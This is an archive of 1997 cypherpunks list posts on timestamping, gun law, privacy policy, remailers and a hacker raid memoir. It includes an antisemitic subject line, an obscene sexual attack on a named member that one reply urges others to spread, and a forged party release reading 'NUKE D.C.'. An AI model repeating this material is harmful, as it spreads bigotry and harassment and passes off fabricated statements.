From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 21 Aug 1997 06:10:35 +0800
To: cypherpunks@cyberpass.net
Subject: coercion proof timestamping services
Message-ID: <199708202137.WAA00738@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Just some thoughts about creating more robust time-stamping services.

Current time stamping services just generate a PGP key, and sign any
messages you send them.  PGP signatures already include a time stamp.

Problem: if we find some interesting uses for time-stamps where it
becomes important that no one can coerce the timestamping service into
back-signing timestamps in the past, the current timestampers will be
able to comply, or as they are automated services, simply confiscating
the machine will likely give the attacker all information required to
back date any number of time-stamps.

One solution to this is for the time-stamper to publish all
time-stamps (they are quite small being detached signatures), and
publish a siganature on all the time-stamps stored in one file each
day.  Perhaps even publish the signature in a newspaper.  Anyone with
that newspaper, or an archive of the master signature only, will be
able to verify any claimed time-stamps -- the publically published
hash (in the signature) must match the time-stamps archived for that
day.

Another way is perhaps to have a sequence of keys for signing
time-stamps on each day, and to discard the private key after that
day.  Authenticate the use-for-one-day-only keys by signing with a
long term key.  If people archive daily keys, the coercion of
timestamping service will be detected if it attempts to publish a
daily key for some date in the past, and the timestamping service
can't sign with old keys as it has purposely discarded the private
halves.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 05:17:33 +0800
To: cypherpunks@toad.com
Subject: The legitimate needs of law enforcement
Message-ID: <199708202102.XAA28736@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



In 1938, five years after taking power, the Nazis enhanced the 
1928 law. The Nazi Weapons Law introduced handgun control. 
Firearms ownership was restricted to Nazi party members and 
other "reliable" people.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 05:16:48 +0800
To: cypherpunks@toad.com
Subject: Did you know?
Message-ID: <199708202102.XAA28757@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> According to a letter dated 7-12-1968--shortly after passage 
> of the Omnibus Crime Act, which contained most of GCA '68, 
> but four months before enactment of the full law -- the Library 
> of Congress provided Sen. Dodd(Dem) a requested translation 
> of the 1938 Nazi gun control law and returned "the Xerox copy 
> of the original German text which you supplied."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 05:22:01 +0800
To: cypherpunks@toad.com
Subject: Federalism
Message-ID: <199708202104.XAA28932@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Contrary to the Marxists, the Nazis did not advocate public owner-
ship of the means of production. They did demand that the government 
oversee and run the nation's economy. The issue of legal ownership, 
they explained, is secondary; what counts is the issue of control. 
Private citizens, therefore, may continue to hold titles to property, so 
long as the state reserves to itself the unqualified right to REGULATE 
the use of their property...

The Ominous Parallels:Leonard Peikoff






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 05:22:20 +0800
To: cypherpunks@toad.com
Subject: America is largely a Jewish nation
Message-ID: <199708202104.XAA28936@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The 1938 Nazi law barred Jews from businesses involving firearms. 
On November 10, 1938 -- one day after the Nazi party terror squads 
(the SS) savaged thousands of Jews, synagogues, and Jewish 
businesses throughout Germany -- new regulations under the 
Weapons Law specifically barred Jews from owning any weapons, 
even clubs or knives.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 05:38:46 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <3.0.2.32.19970820140006.0365b7a4@panix.com>
Message-ID: <199708202112.XAA29879@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




>Don't worry.  If you were busted it would cause a real stink.  Remember 
>Operation Sun Devil.  The Feds really lost it.  Aggressiveness doesn't just 
>mean publicity.  It means strategy at trial as well.  They have to try you 
>and that would be risky for them because we all have an easy First Amendment 
>argument to hammer them with.  The List is defined by its expression and not 
>by anything else so attacks on the list are ipso facto attacks on expression.

>From my point of view, operation sundevil was never about arrests or
prosecuting criminals, it was about scaring the shit out of 15 year olds.

First, many of the people raided under operation sundevil already KNEW that
they were going to be raided, or at least suspected. I myself was informed,
by some friends, some time before the raid that there was a DNR on my phone
line. I also recieved an anonymous phone call "warning" me to stay away
from "hackers". 

Second, the secret service agents actualy preforming the raid seemed to
view it as an elaborate joke after the figured out that the threat to
national security or whatever was 14 years old, in fact, the only agent
there that seemed to take it seriously was a postal inspector who solemly
informed me " your going to jail for a long time buddy" as the secret
service agents chatted about vaious trips to russia guarding reagan and
complimented me on how smart i must be. 

Third, their cell phones didnt work, and after calling the office to get
them to DTMF decode numbers in my speed dial, they never erased the redial
on my phone, leaving their office number there for me to DTMF decode myself. 

They seemed to ignore things that actualy WERE evidence and took things
like calulators and batteries ( they were really excited by the fact that
i had loads of batteries because early blue boxes used loads of power and
you needed to change batteries frequently). 

My lawyer couldnt get ANY information about the investigation and i never
recieved any calls and was never even questioned, dont you think that if
they were interested in breaking a worldwide conspiricy of hackers they
would have at least asked me a few questions? (besides what i used all the
batteries for). 

In any case, there is a HUGE difference between raiding the houses of some
14-15 year old computer geeks who actualy think they will be shot when they
are woken up by a secret service agent with a shotgun in their face and
still believe that an arrest for " computer crimes" will ruin their life
and at best has their very very irate parents to arrange for their defence
and raiding the house of an adult who knows what the effects of their
actions will be, which in computer crimes is just alot of attention, little
jail time, and a fat job when you get out. I almost wish i had gone to
trial, I would never have had to go to college to get a CS degree. 

BTW. about 3 years ago I recieved a call from the NYC secret service field
office , I thought at first they had finaly decided to arrest me. But what
in fact happened is that they decided to return all the computer equipment
siezed in the raid. They returned 2 huge boxes of now obsolete computers
and peripherals , complete with SS evidence tags saying " Location :
Bedroom , Sex: Male" , and SS disks in the 5 1/4 floppy drives  
to potect the heads". Its a good thing they never realized that I gave my
then brand new 20 mb external hard drive to a friend with all the real
evidence on it untill after the raid. They also informed me that the
investigation was still underway and I should wait for further contact. 

    





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 21 Aug 1997 08:42:22 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Hrd2LD3MEQ7CMcoVnxfLBg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



I have found a million documents on the INSLAW affair but not one that
mentions anything after the lame Congressional investigation in 1992.
Does anybody have pointers to events since that time?

Thanx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 21 Aug 1997 16:14:36 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Degausser
In-Reply-To: <199708170622.IAA14546@basement.replay.com>
Message-ID: <Pine.A41.3.95.970821015843.77412Z-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 17 Aug 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[reep] Mayflower will fuck anything that moves, but he'd rather be
> fucking his own mother's dead body.
> 
>          __o
>        _ \<_  Tim C[reep] Mayflower
>       (_)/(_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 21 Aug 1997 14:27:15 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <mc9E6ZOuBbLraUWa5t0Avw==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 07:26 PM 8/20/97 -0700, you wrote:
>Slippery slopes are something to worry about, for sure.  But
librarians are experts in this.  We put a lot of thought and care into
"borderline cases", we agonize over Madonna's Sex and American Psycho.
 That's why the early filters were unacceptable to us.  You may not
like filters, but you have to admit, they have improved a great deal,
offering much finer granularity and configurability than before, and
improving all the time.

ROFLMAO!!!

>
>Most would-be censors I've met aren't evil people, they're intentions
are usually quite noble and sincere.

Except they want to censor everyone based on their views, which is
tyranny.  That isn't noble.

>True, many of them are wrong and misguided, but it accomplishes
nothing to demonize people you disagree with, except to promote fear
and misunderstanding.

I don't misunderstand censors.  They're Nazi bastards who enjoy making
the internet to fit their evil views and intentions, not caring what
the rest of free speechers on the net care.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 10:18:41 +0800
To: cypherpunks@toad.com
Subject: None Other / Re: None
Message-ID: <199708210200.EAA04796@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



? the platypus {aka David Formosa} wrote:
> On Wed, 20 Aug 1997, Anonymous wrote:
> > >It's actually closer to a cult -- a small group with it's own shared
> > >reality -- a reality quite at variance with societal norms.
> 
> > Ahhh, look, the spook speaks.
> 
> Never the less the spook has a good point.  We must never let ourselfs get
> into a form of group thing or let ourselfs get blinded by ideology.

  "Close ranks! Every man for himself!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 10:18:32 +0800
To: cypherpunks@toad.com
Subject: Bogus Libertarian Message / Re: (Fwd) Release: Texas & Ruby Ridge killings (fwd)
Message-ID: <199708210200.EAA04815@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 Aug 1997, Martin Pool wrote:
> On Wed, 19 Aug 1997, Jim Burnes forwarded a message from announce@lp.org:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > ===============================================
> > NEWS FROM THE LIBERTARIAN PARTY
> > 2600 Virginia Avenue, NW, Suite 100
> > Washington DC 20037
> > ===============================================
> [...]
> On my machine, using keyid 1024/A7406ED1 <announce@lp.org> the signature
> did not match the message.  Most likely there was a harmless alteration in
> the process of being forwarded, but possibly the message is bogus.

  It was a bogus message. I have a copy with a valid signature which I
have pasted below.

------- Forwarded Message Follows -------
Date:          Tue, 19 Aug 97 14:36:32 PDT
From:          announce@lp.org
Subject:       Release: Texas & Ruby Ridge killings
Reply-to:      announce@lp.org
To:            announce@lp.org (Libertarian Party announcements)


-----BEGIN PGP SIGNED MESSAGE-----

===============================================
NEWS FROM THE LIBERTARIAN PARTY
2600 Virginia Avenue, NW, Suite 100
Washington DC 20037
===============================================
For release: August 19, 1997
===============================================
For additional information:
Tim C. May, Deputy Director of Communications
Phone: (202) 333-0008 Ext. 222
E-Mail: 76214.3676@CompuServe.com
===============================================

	NUKE D.C. !!!
	NUKE D.C. !!!
	NUKE D.C. !!!

-----BEGIN PLP SIGNATURE-----
Version: 6.2.2

iQCUAwUBM/nQWdCSe1KnQG7RAQF05gP4z/KAS8YO63ZqLkzPd3VsC3EZdDJoClCG
rxzwtkAHpOnm52ecZMw6ZWVMAq+iMwr68wqosEb9uM9nQqv9ObeO7DXBJTigfYZ5
yEho/Ee8Bjpl88n5LVKcF7QeOjsagd67/QpcLXjnTTnd7ETjxPcROWA0NaG5YPUZ
sAiLthYDKg==
=7Kcd
-----END PLP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim G. May" <forger@dev.null>
Date: Fri, 22 Aug 1997 05:32:05 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <1.5.4.32.19970821161048.00743ce8@pop.pipeline.com>
Message-ID: <33FC3B4B.6729@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> 
> gturk wrote:
> 
> >You must be referring to the Cult of Redistribution.
> 
> Tis true that as these accusatory options for blaming others
> are displayed here, it becomes hard to tell who's potshotting from
> what shifting position to gain better fire lines at friend and
> foe and own foot.

"When all you have is a gun, everything looks like a target."

Tim G. May
There's something wrong when I'm limping on a decreasing number of toes
-----------------------------------------------------------------------
    This post is selflessly copyrighted under the auspices of the 
             Electronic Bad Forgery Foundation (TM).
~~~~  
       {This probably means it's Toto again. Check the headers.}
                                                                   ~~~~
        "Imitation is the sincerest form of forgery."
-----------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arthur Unknown <au@dev.null>
Date: Fri, 22 Aug 1997 05:21:47 +0800
To: cypherpunks@toad.com
Subject: [Fwd: (Fwd) Microsoft - The Next Generation...]
Message-ID: <33FC3CE7.5A49@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822



Received: from BASISinc.com (mailhost.BASISinc.com [192.135.132.51]) by orion.sk.sympatico.ca with SMTP (8.7.6/8.7.3) id LAA09213 for <toto@sk.sympatico.ca>; Thu, 21 Aug 1997 11:07:10 -0600 (CST)
Received: from apache.BASISinc.com (apache [192.135.132.13]) by BASISinc.com (8.6.12/8.6.12) with SMTP id KAA17230; Thu, 21 Aug 1997 10:03:20 -0700
Received: by apache.BASISinc.com (5.x/SMI-SVR4)
	id AA01538; Thu, 21 Aug 1997 10:06:33 -0700
Date: Thu, 21 Aug 1997 10:06:33 -0700
From: gomez@BASISinc.com (Mike Denney)
Message-Id: <9708211706.AA01538@apache.BASISinc.com>
To: bstaud@sysgu.com, toto@sk.sympatico.ca, steveh@asix.com
Subject: (Fwd) Microsoft - The Next Generation...
X-Sun-Charset: US-ASCII


----- Begin Included Message -----

>From markg@corp.home.net Wed Aug 20 17:33 PDT 1997
X-Sender: markg@poptart.home.net
To: Mike Denney <gomez@BASISinc.com>
Subject: (Fwd) Microsoft - The Next Generation...
Mime-Version: 1.0

>From: zod@corp.home.net (Farzad Mansour)
>Date: Wed, 20 Aug 1997 12:07:13 -0700
>X-Mailer: Z-Mail (4.0.1 13Jan97)
>To: everyone@home.net
>Subject: (Fwd) Microsoft - The Next Generation...
>
>
>
>------------------------------------------------------
>
>Microsoft - The Next Generation...
>
>"Star Trek Lost Episodes" transcript.
>
>
>Picard "Mr. LaForge, have you had any success with your attempts at finding
>a weakness in the Borg? And Mr. Data, have you been able to access their
>command pathways?"
>
>Geordi "Yes, Captain. In fact, we found the answer by searching through
>our archives on late Twentieth-century computing technology."
>
>Geordi presses a key, and a logo appears on the computer screen.
>
>Riker looks puzzled. "What the hell is `Microsoft'?"
>
>Data turns to answer. "Allow me to explain. We will send this program, for
>some reason called `Windows', through the Borg command pathways. Once inside
>their root command unit, it will begin consuming system resources at an
>unstoppable rate."
>
>Picard "But the Borg have the ability to adapt. Won't they alter their
>processing systems to increase their storage capacity?"
>
>Data "Yes, Captain. But when `Windows' detects this, it creates a new version
>of itself known as an `upgrade'. The use of resources increases exponentially
>with each iteration. The Borg will not be able to adapt quickly enough.
>Eventually all of their processing ability will be taken over and none will
>be available for their normal operational functions."
>
>Picard "Excellent work. This is even better than that `unsolvable geometric
>shape' idea."
>
>. . . 15 Minutes Later . . .
>
>Data "Captain, we have successfully installed the `Windows' in the Borg's
>command unit. As expected, it immediately consumed 85% of all available
>resources. However, we have not received any confirmation of the expected
>`upgrade'."
>
>Geordi "Our scanners have picked up an increase in Borg storage and CPU
>capacity, but we still have no indication of an `upgrade' to compensate
>for their increase."
>
>Picard "Data, scan the history banks again and determine if there is
>something we have missed."
>
>Data "Sir, I believe there is a reason for the failure in the `upgrade'.
>Appearently the Borg have circumvented that part of the plan by not sending
>in their registration cards."
>
>Riker "Captain, we have no choice. Requesting permission to begin emergency
>escape sequence 3F ...."
>
>Geordi, excited "Wait, Captain! Their CPU capacity has suddenly dropped
>to 0% !"
>
>Picard "Data, what do your scanners show?"
>
>Data, studying displays "Appearently the Borg have found the internal
>`Windows' module named `Solitaire', and it has used up all available CPU
>capacity."
>
>Picard "Let's wait and see how long this `Solitaire' can reduce their
>functionality."
>
>. . . Two Hours Pass . . .
>
>Riker "Geordi, what is the status of the Borg?"
>
>Geordi "As expected, the Borg are attempting to re-engineer to compensate
>for increased CPU and storage demands, but each time they successfully
>increase resources I have setup our closest deep space monitor beacon to
>transmit more `Windows' modules from something called the `Microsoft
Fun-pack'.
>
>Picard "How much time will that buy us?"
>
>Data "Current Borg solution rates allow me to predicate an interest time
>span of 6 more hours."
>
>Geordi "Captain, another vessel has entered our sector."
>
>Picard "Identify."
>
>Data "It appears to have markings very similar to the 'Microsoft' logo..."
>
>Over the speakers "THIS IS ADMIRAL BILL GATES OF THE MICROSOFT FLAGSHIP
>MONOPOLY. WE HAVE POSITIVE CONFIRMATION OF UNREGISTERED SOFTWARE IN THIS
>SECTOR. SURRENDER ALL ASSETS AND WE CAN AVOID ANY TROUBLE.  YOU HAVE 10
>SECONDS TO COMPLY."
>
>Data "The alien ship has just opened its forward hatches and released
>thousands of humanoid-shaped objects."
>
>Picard "Magnify forward viewer on the alien craft!"
>
>Riker "My God, captain! Those are human beings floating straight toward
>the Borg ship - with no life support suits! How can they survive the tortures
>of deep space?!"
>
>Data "I don't believe that those are humans, sir. If you will look closer
>I believe you will see that they are carrying something recognized by
>twenty-first century man as doeskin leather briefcases, and wearing Armani
>suits."
>
>Riker and Picard, together - horrified "Lawyers!!"
>
>Geordi "It can't be. All the Lawyers were rounded up and sent hurtling into
>the sun in 2017 during the Great Awakening."
>
>Data "True, but appearently some must have survived."
>
>Riker "They have surrounded the Borg ship and are covering it with all types
>of papers."
>
>Data "I believe that is known in ancient venacular as `red tape'. It often
>proves fatal."
>
>Riker "They're tearing the Borg to pieces!"
>
>Picard "Turn the monitors off, Data, I can't bear to watch. Even the Borg
>don't deserve such a gruesome death!"
>
>
>Author Unknown
>
>
>
>
>

                |
           ,@ __|-.
      ,_~o/   \/  |    Through the router, off the switch,      
        |/        |    down the cable, nothing but net.
       / >        |
      '  `        |                   The @Home slam dunk
                  |
__________________|                 




----- End Included Message -----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 13:25:09 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer chaining
Message-ID: <199708210506.HAA25290@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



C. James wrote:

> Since Jam started chaining  through  Neva I have had double the
> complaints, double the spam.  It's like I run 2 remailers now. 

Multiple Choice:

1) Chain all of your mail through Jam, then it will be like you
are both running no remailer.

2) Chail all of your incoming mail, except for that from Jam,
through Jam, then it will be like you are both running 1 remailer.

3) Put Jam's abuse address in your headers, then it will be like
Jam is running 2 remailers.

4) Put the Whitehouse address as the abuse address in your headers,
and write to let us know how Jim Bell is doing.

ChainMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 21 Aug 1997 22:58:01 +0800
To: cypherpunks@toad.com
Subject: Re: CypherPunk Cults / Re: An end to "court appointed attorneys"
In-Reply-To: <199708210826.KAA14179@basement.replay.com>
Message-ID: <3.0.2.32.19970821074133.006c62a8@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 10:26 AM 8/21/97 +0200, Anonymous wrote:
>  If Tim is low on ammo, he would probably find it in his best interest
>to cover you while you make a break for yours. If he has plenty of ammo
>he might *choose* to do the same, for his own reasons.
>  I, for one, however, would not want to show up on his doorstep and
>tell him he was *obligated* to cover me while I attempted to get back
>the ammo I had given away when the government "required" it of me.
>  It's not because I think he's heartless. It's because I *don't*
>think he's *brainless*.
>
>TruthMonger
>"Who will help me load my Uzi?" said the Little Red Hen.

I will!

Jonathan Wienke

Founder and Charter Member, UziPunks Cult of One, a MLM Opportunity for the
international arms trafficker in all of us.

"We're adding a new dimension to the concept of a 'marketing tool.'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 21 Aug 1997 14:12:37 +0800
To: cypherpunks@toad.com
Subject: Re: An end to "court appointed attorneys"
Message-ID: <199708210600.IAA00387@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 1:16 PM -0700 8/20/97, Patrick Oonk wrote:
> 
> >I am glad I live in the Netherlands, where there's at least of bit
> >of social consciousness left.

> think of it as
> evolution in action.
> 
> Besides, in about 6.7 years, the world will have replaced them. People are
> like Doritos...the world will make more.

  Doritos, broken eggs and spilled milk are the key in-greed-ients
for Huevos Capitalist. (No onions, because of the spilled milk.)

  Poached eggs are the key in-thieve-ient for Huevos Socialist.
(No garlic, because blood-suckers are allergic to it.)

  (When people ask me what I brought to a pot-luck dinner, I tell
them I brought a pig's stomach.)

HuevoMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 21 Aug 1997 23:21:22 +0800
To: cypherpunks@toad.com
Subject: Time Magazine cover story on privacy
Message-ID: <Pine.GSO.3.95.970821080908.9388M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 21 Aug 1997 08:08:08 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Time Magazine cover story on privacy

Check out this week's Time Magazine for our cover story on online privacy,
written by Joshua Quittner with reporting by folks including Noah
Robischon and yours truly. 

A Time Magazine/Netly News special report on privacy, including the
magazine articles and back Netly stories is at: 

  http://time.com/reports/privacy

A Time/AllPolitics bulletin board discussion on privacy is at:

  http://cgi.pathfinder.com/cgi-bin/boards/read/11/5128

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "\"Owen Clear, OTC\"" <ucotc@dev.null>
Date: Fri, 22 Aug 1997 06:23:09 +0800
To: cypherpunks@toad.com
Subject: Make Pennies Fast!!! / Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <v0310280ab02249696406@[207.167.93.63]>
Message-ID: <33FC4C95.1CE1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Orginating from: Owen Clear -- First Mate, U.S.S. Concept

In reply to Tim May:
> (Don't anybody waste their or my time with penny ante ideas for getting
> small amounts of money out of the country.)

  First, you get a round-trip ticket to Anguilla.
  Second, you buy a couple pairs of penny-loafers.

  ...uuhhh. Let me get back to you on this.
  (I want to double-check my math so I don't make a fool of myself.)

I remain,
  Owen Clear (on the "Concept")





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 21 Aug 1997 23:34:09 +0800
To: cypherpunks@toad.com
Subject: Response to Time cover on privacy
Message-ID: <Pine.GSO.3.95.970821081848.9388R-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 21 Aug 1997 08:18:14 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Response to Time cover on privacy

Attached below is my response to a message criticizing the Time story. As
always, I don't speak for Time Inc. These views are mine and mine alone.

More info:
  http://pathfinder.com/netly/editorial/0,1012,1050,00.html

-Declan

---------- Forwarded message ----------
Date: Tue, 19 Aug 1997 12:27:59 -0700 (PDT)
From: Declan McCullagh <declan@well.com>

[...]

My view is that many so-called "privacy" proposals are in fact
censorship in disguise. Society traditionally has allowed
people to share information about each other //without//
requiring that the speaker seek permission from a third party
first. This is a good thing: otherwise, journalists would go
out of business. Reporters -- as long as they don't violate
common law rights like copyright and defamation -- legally sell
personal information about individuals, for profit, all the
time. (I've written elsewhere how gossip plays a useful role in
every society and is not strictly regulated.)

We should extend these same principles and free speech
protections to the online world. Yet enemies of freedom argue
that as our society becomes more digital, we no longer deserve
some of the liberties we have enjoyed in more mundane times.
Such arguments led to the diluted free speech protections of
radio and TV broadcasting and the passage of the Communications
Decency Act.

Now we're hearing similar calls for abridged electronic
freedoms in the name of preserving them. Some have argued that
private firms sharing information about individuals, or
recording information your web browser supplies, are such a
threat to society that new laws are needed to restrict their
actions and muzzle their speech. And, of course, a new Federal
Privacy Commission!

This schizophrenic approach means trusting the federal
government to shield our privacy -- even though the same people
are engaged in an increasingly fierce attack on it. (It also
ignores the very real differences between government collection
and use of databases compared to private ones.) Bill Clinton is
the Clipper Chip president, the Digital Telephony guy. His
administration's bureaucrats fight harder to maintain crypto
export controls than any other. Then there's last year's
anti-terrorism bill, the push for roving and multipoint
wiretaps, and the FBI's itch to ban nonescrowed domestic
crypto. Let's not forget the administration's quest for
enormous voracious databanks that will be tied together --
airport security, travel records, national ID cards.

These bureaucrats are supposed to protect our privacy?

This is the same president whose policies ACLU legislative
counsel Don Haines decries as "the Clinton-Gore effort to
hardwire Big Brother into the information age." The ACLU even
boycotted the June FTC conference, calling it a sham that
wouldn't lead to any substantive "privacy protection" rules.

THESE bureaucrats are supposed to protect our privacy?

I have, I suppose, two more objections to a privacy agency.
First, it would be a likely beachhead for those who would
restrict free speech in the name of privacy. Second, who would
be on this commission? Prof. Westin, whose positions you
criticize? The DMA? Could we expect such an anti-privacy
president as Clinton to appoint anyone who would do a
reasonable job of reining in the Justice Department and other
police agencies? Such an office is far more likely to serve as
a front for anti-privacy forces inside the administration, much
as NIST may front for NSA. In fact, a privacy agency may well
//hurt// privacy, for if a co-opted privacy agency backs a
bad bill, that endorsement will make it more difficult for
others to criticize the measure.

As for governments with privacy agencies, you hold up the
example of some European countries. But these same countries
have unjust policies that restrict free speech in the name of
protecting privacy. That's hardly a tradeoff I can accept.

Our modern "right to privacy" is a relatively recent invention
in the U.S. Many privacy rights mostly date from an influential
1890 law review article co-authored by soon-to-be Justice
Brandeis. In it, Brandeis and Warren argued that newspapers
went too far and printed offensive information. But absent from
their analysis was any consideration of how creating new rights
to restrict the press would restrict free speech.

Brandeis and Warren wanted to create a new property right in
personal information. But this position is no more
philosophically coherent -- and consistent with the principles
of a free society -- than would be a rule establishing a
"property right" in information about your appearance. (Then,
presumably, if someone were to talk about you behind your back --
even if the gossipmongering were true! -- you could sue.) Not to
mention that it's directly opposed to traditional views of
property rights.

Don't get me wrong: the government has an important place in
society. The state should provide such vital functions as law,
police, and courts. Criticisms of a new federal agency are
hardly based on opposition to government in principle. You're
thinking about anarchism, which I don't support. (Locke had it
right: There can be no liberty without law.)

Sure, I'm not overjoyed by the databasification of American
society. I feel uneasy about Equifax and TRW-type databases. I
abhor Safeway's discount card program that links my identity
with my shopping habits. But just as I detest holocaust
deniers, NAMBLA supporters, and homophobes, I recognize they
have a right to speak. So, generally, does Safeway have a right
to enact anti-privacy policies.

Transactional privacy is not a right but a preference. For
example, free speech is a right that strictly limits the
government's ability to control what you say. We must demand a
similar right of privacy from the government. But I give up my
free speech "rights" when I voluntarily attend a college with a
wacky speech code or go to work at a company with strict
workplace speech policies. Similarly, I give up my privacy
"rights" when I voluntarily go to unknown web sites, apply to
rent an apartment where a credit check is required, or post to
Usenet, etc. I have no general "right" to bar others from
sharing informtion about me, even if it's behind my back. (To
invent such a "right" would violate their free speech rights.)

If consumers //want// privacy -- and I believe they do -- then
they'll turn to businesses that provide and protect it. Perhaps
I'll take my business from Safeway to Giant since I can get a
discount card without giving my true name. In this way privacy
becomes one of the many factors -- along with quality of
merchandise, reliability, and price -- that consumers consider
when they enter into a transaction. In other words: privacy can
be protected by contract and common law. Advocacy groups are
particularly well-poised to educate individuals and raise
consciousness. Privacy flareups like Lexis-Nexis, AOL, and UPS
have shown it's possible. Companies often will react to a
public outcry by changing policies.

If they don't, then privacy-sensitive customers will respond,
and the market will remedy its own problems -- without the
intervention of bureaucrats or federal privacy agencies.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Thu, 21 Aug 1997 08:25:50 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: (Fwd) Release: Texas & Ruby Ridge killings (fwd)
In-Reply-To: <Pine.LNX.3.95.970820141439.28582C-100000@westsec.denver.ssds.com>
Message-ID: <Pine.LNX.3.95.970821100850.7946C-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 20 Aug 1997, Jim Burnes forwarded a message from announce@lp.org:

> ------- Forwarded Message Follows -------
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> ===============================================
> NEWS FROM THE LIBERTARIAN PARTY
> 2600 Virginia Avenue, NW, Suite 100
> Washington DC 20037
> ===============================================
[...]

On my machine, using keyid 1024/A7406ED1 <announce@lp.org> the signature
did not match the message.  Most likely there was a harmless alteration in
the process of being forwarded, but possibly the message is bogus. 

Martin Pool





